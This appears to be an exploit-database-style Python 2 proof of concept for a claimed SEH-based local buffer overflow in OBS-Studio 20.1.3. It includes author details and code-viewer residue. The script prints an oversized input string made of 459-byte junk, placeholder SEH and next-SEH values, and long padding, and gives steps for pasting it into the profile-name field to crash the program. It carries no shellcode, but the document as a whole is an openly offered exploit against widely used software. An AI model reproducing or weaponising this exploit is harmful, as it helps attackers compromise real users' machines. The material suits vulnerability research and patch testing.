32 lines
No EOL
897 B
Python
Executable file
32 lines
No EOL
897 B
Python
Executable file
author = '''
|
|
|
|
##############################################
|
|
# Created: ScrR1pTK1dd13 #
|
|
# Name: Greg Priest #
|
|
# Mail: ScR1pTK1dd13.slammer@gmail.com #
|
|
##############################################
|
|
|
|
# Exploit Title: OBS-Studio-20.1.3 Local Buffer Overflow Zer0Day (SEH Based PoC)
|
|
# Date: 2018.01.15
|
|
# Exploit Author: Greg Priest
|
|
# Version: OBS-Studio-20.1.3
|
|
# Tested on: Windows7 x64 HUN/ENG Enterprise
|
|
# Software Download Link: https://obsproject.com/download
|
|
|
|
'''
|
|
|
|
bug = '''
|
|
Vulnerable input field:
|
|
<1> Copy printed "AAAAA...." string to clipboard!
|
|
<2> Profile -> New
|
|
<3> Paste the string in the input then press Ok
|
|
|
|
'''
|
|
junk = "A" * 459
|
|
SEH = "BBBB"
|
|
nextSEH = "CCCC"
|
|
overflow = "D" * 19533
|
|
|
|
print author
|
|
print "String: ", junk + SEH + nextSEH + overflow
|
|
print bug |